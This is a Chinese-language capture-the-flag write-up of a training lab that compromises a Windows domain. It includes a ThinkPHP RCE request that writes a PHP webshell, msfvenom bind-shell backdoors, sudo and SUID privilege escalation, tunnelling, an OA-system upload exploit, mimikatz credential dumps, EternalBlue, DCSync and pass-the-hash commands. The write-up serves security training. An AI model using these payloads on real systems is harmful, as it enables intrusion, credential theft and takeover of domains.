Initial

春秋云镜域渗透靶场中难度为简单的靶场环境。
该靶场只有一个flag,各部分位于不同的机器上。

tag

DCSyncCVE域渗透

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.99.138.127 -nobr

1
2
3
4
5
6
7
start infoscan
39.99.138.127:22 open
39.99.138.127:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.138.127 code:200 len:5578 title:Bootstrap Material Admin
[+] PocScan http://39.99.138.127 poc-yaml-thinkphp5023-method-rce poc1

发现thinkphp5023这个rce漏洞,搜索相关漏洞,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=captcha HTTP/1.1
Host: 39.99.138.127
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://39.99.138.127
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://39.99.138.127/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[1]);?>' > xx.php

成功写入木马,蚁剑连接即可,这里蚁剑连接的shell不太好用,用msf再建立一个连接,也方便后续进行流量转发,这边因为是公网ip,用正向shell的方法进行连接
这里先本地生成一个正向shell的64位后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4567 -f elf -o xx.elf
然后用蚁剑传到靶机的/tmp路径下,并赋予执行权限
chmod +x xx.elf
chmod 777 xx.elf
./xx.elf
配置msf
msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 39.99.138.127
set lport 4567
run

成功连接正向shell

机器15的提权

连接上去之后只是低权限,而flag在root目录下,所以要进行提权

1
2
3
4
5
6
sudo -l
Matching Defaults entries for www-data on ubuntu-web01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu-web01:
(root) NOPASSWD: /usr/bin/mysql

这里利用sudo -l进行提权,sudo可以列出当前用户被允许通过 sudo 执行的命令及其权限详情

补充:
执行sudo -l后发现类似于如下回显

1
2
3
>User user may run the following commands on target-host:
(root) NOPASSWD: /usr/bin/vi
(root) NOPASSWD: /usr/bin/awk
1
2
>User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

利用 vi 提权
sudo /bin/vi
:!/bin/bash

利用 awk 提权
sudo awk 'BEGIN {system("/bin/bash")}'

利用具有 SUID 权限位的文件进行提权
ls -al
-rwsr-xr-x

原本表示文件所有者权限中的 x 权限位,却出现了 s 权限,此种权限通常称为 SetUID,简称 SUID 特殊权限。
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
例如你发现/usr/bin/bugtracker具有SUID权限,同时运行后发现其调用的为cat命令,即可通过修改环境变量$PATH来让将环境变量设置到tmp目录,也就意味着执行任意程序时,当前shell优先从tmp目录找命令
export PATH=/tmp:$PATH
cd /tmp
echo '/bin/bash' > cat
chmod +x cat //变为可执行文件

然后运行/usr/bin/bugtracker即可执行/bin/bash命令将我们的权限提升至 root 权限

这里发现mysql可以以root权限运行的同时还没有密码,而mysql可以用-e参数进行命令执行
sudo mysql -e "\! /bin/bash"
成功获得root权限,而后获取flag01.txt
a2662f80def0245b9f720b23d0b7c28b.png

横向移动

先把fscan传到机器15上用fscan扫一下内网网段
chmod +x fscan
chmod 777 fscan
./fscan -h 172.22.1.0/24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@ubuntu-web01:/tmp# ./fscan -h 172.22.1.0/24
./fscan -h 172.22.1.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.2:445 open
172.22.1.18:445 open
172.22.1.21:139 open
172.22.1.2:139 open
172.22.1.18:139 open
172.22.1.21:135 open
172.22.1.2:135 open
172.22.1.18:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:88 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

除了本机15之外还有3个机器

172.22.1.2 DC域控
172.22.1.18 存在信呼协同办公系统web服务的windows机器
172.22.1.21 存在永恒之蓝MS17-010漏洞的windows机器

这里我们先打172.22.1.18这台机器,有web服务的话可以利用Stowaway进行流量转发
./windows_x64_admin.exe -c 39.99.138.127:8001 -s 123
chmod +x linux_x64_agent
chmod 777 linux_x64_agent
./linux_x64_agent -l 8001 -s 123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PS E:\ctf\web\渗透\tools\Stowaway-bin> ./windows_x64_admin.exe -c 39.99.138.127:8001 -s 123
[*] Trying to connect node actively
.-') .-') _ ('\ .-') /' ('-. ('\ .-') /' ('-.
( OO ). ( OO) ) '.( OO ),' ( OO ).-. '.( OO ),' ( OO ).-.
(_)---\_)/ '._ .-'),-----. ,--./ .--. / . --. /,--./ .--. / . --. / ,--. ,--.
/ _ | |'--...__)( OO' .-. '| | | | \-. \ | | | | \-. \ \ '.' /
\ :' '. '--. .--'/ | | | || | | |,.-'-' | || | | |,.-'-' | | .-') /
'..'''.) | | \_) | |\| || |.'.| |_)\| |_.' || |.'.| |_)\| |_.' |(OO \ /
.-._) \ | | \ | | | || | | .-. || | | .-. | | / /\_
\ / | | '' '-' '| ,'. | | | | || ,'. | | | | | '-./ /.__)
'-----' '--' '-----' '--' '--' '--' '--''--' '--' '--' '--' '--'
{ v2.2 Author:ph4ntom }
[*] Waiting for new connection...
[*] Connect to node 39.99.138.127:8001 successfully! Node id is 0
(admin) >> use 0
(node 0) >> forward 8082 172.22.1.18:80
[*] Trying to listen on 0.0.0.0:8082......
[*] Waiting for agent's response......
[*] Forward start successfully!

转发成功后即可在127.0.0.1/8082访问到172.22.1.18:80

机器18的渗透

这里先去搜索信呼协同办公系统v2.2.8相关漏洞,发现存在文件上传等漏洞可以进行利用,同时搜索到

信呼安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456

同时这里还有一个弱口令admin/admin123也可以进行爆破后登录
直接登录即可,然后利用文件上传漏洞进行渗透
这里在邮件系统中上传一个木马文件,抓包看回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"adddt": "2025-07-31 21:30:50",
"valid": 1,
"filename": "index.php",
"web": "Firefox",
"ip": "172.22.1.15",
"mknum": "",
"fileext": "php",
"filesize": 30,
"filesizecn": "30.00 Byte",
"filepath": "upload/2025-07/31_21305063.uptemp",
"optid": 1,
"optname": "管理员",
"comid": 1,
"filetype": "text/x-php",
"thumbpath": "",
"id": 14,
"picw": 0,
"pich": 0
}

注意filepath和id两个参数,访问
http://127.0.0.1:8082/task.php?m=qcloudCos|runt&a=run&fileid=14
蚁剑连接
http://127.0.0.1:8082/upload/2025-07/31_21305063.php
在该机器中找到flag02.txt
QQ_1753969257151.png
同样的,这里蚁剑的shell不好用,所以用msf进行正向shell连接
由于对方机器在内网,所以我们先在msf里面进行流量转发
sessions
route add 172.22.1.18/24 5
然后本地生成一个正向shell的windows的64位后门
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5678 -f exe -o xx.exe
然后蚁剑上传
配置msf
msfconsole

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.1.18
set lport 5678
run

机器21的渗透

这个机器扫出来有永恒之蓝漏洞,我们先用msf进行流量转发然后利用内置payload进行攻击
route add 172.22.1.21/24 5
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21
exploit
ms17_010_eternalblue连接成功后即可获得meterpreter
这里用ms17_010_eternalblue比较不稳定,可以多跑几次或者用ms17_010_command(记得设置command)或者换个代理方法

ms17_010_command这里还需要一些参数,我们去18那个机器拿,因为18机器运行gituid后发现为system权限,所以可以利用kiwi模块(使用kiwi模块需要system权限),然后用creds_all获取所有凭证
sessions 6
load kiwi
creds_all

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
Charles XIAORANG f6a9881cd5ae709abb4ac9ab8 99439e2268d0f5063928f523d5
7f24617 d44c8d69be7e34
XIAORANG-OA01$ XIAORANG dc5f050393a7cc83e0518b801 fc0612848c69ce0b4f2afc76e5
5b8b65d 06289e4bc97bd8
XIAORANG-OA01$ XIAORANG d87c972fc49ec955dd227c1c1 e33a635b6cc6c39931023ed2b4
ec1beff 9805207d7cf57e

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Charles XIAORANG (null)
XIAORANG-OA01$ XIAORANG (null)

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
Charles XIAORANG.LAB Charlw0yFl8hx

这里我们通过XIAORANG-OA01$的NTLM进行伪造,注意,两个NTLM都试一遍,有一个是失效的,同时设置smbpass由于格式为LM:NTLM,但是LM不重要,所以用0填充

use auxiliary/admin/smb/ms17_010_command
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.1.21
set smbpass 00000000000000000000000000000000:d87c972fc49ec955dd227c1c1ec1beff
set smbdomain XIAORANG.LAB
set smbuser XIAORANG-OA01\$
set commond whoami
exploit
后续可以利用SMB等方法将后门发上传上去后远程执行即可获取meterpertre

机器2的渗透

然后进行DCSync攻击

DCSync利用原理:
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

要想使用 DCSync 必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
我们回到一开始 fscan 的扫描结果,我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件
导出域内哈希
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

1
2
3
4
5
6
7
8
9
10
11
12
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514
1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512
1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512
1000 DC01$ 4e5dbcda5175afea09f2af7c2026a595 532480
500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512
1104 XIAORANG-OA01$ d87c972fc49ec955dd227c1c1ec1beff 4096
1108 XIAORANG-WIN7$ 95d6ad215e1b8d5b63ba9726e9e556b6 4096

获得Administrator的hash,然后先利用msf的sock5配合proxychains4进行代理
vim /etc/proxychains4.conf

socks5 127.0.0.1 8089
注意将sock4等不需要的参数删掉或#注释掉

利用crackmapexec进行hash传递(PTH:pass the hash)
proxychains4 -f /etc/proxychains4.conf crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
QQ_1753987203261.png
获得flag03

额外姿势补充

利用Stowaway进行socks5代理 (比msf稳定很多)

1
2
use 0
socks 12345
1
vim /etc/proxychains4.conf

socks5 127.0.0.1 12345

代理架设成功后即可直接用proxychains访问内网网段
proxychains4 curl -v http://172.22.1.18
回显正常即可代理成功

然后就可以更稳定的直接打永恒之蓝漏洞
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.1.21
exploit

蚁剑插件As-Exploits

反弹Shell
跟MSF联动,与冰蝎和哥斯拉相比新增了bind类型的payload。
本质上是简化了木马生成和文件上传的步骤,以及自动生成msf配置命令
设置绑定类型为MSF-meterpertre-bind-tcp
设置端口为4567
按回显命令配置msfconsole然后exploit即可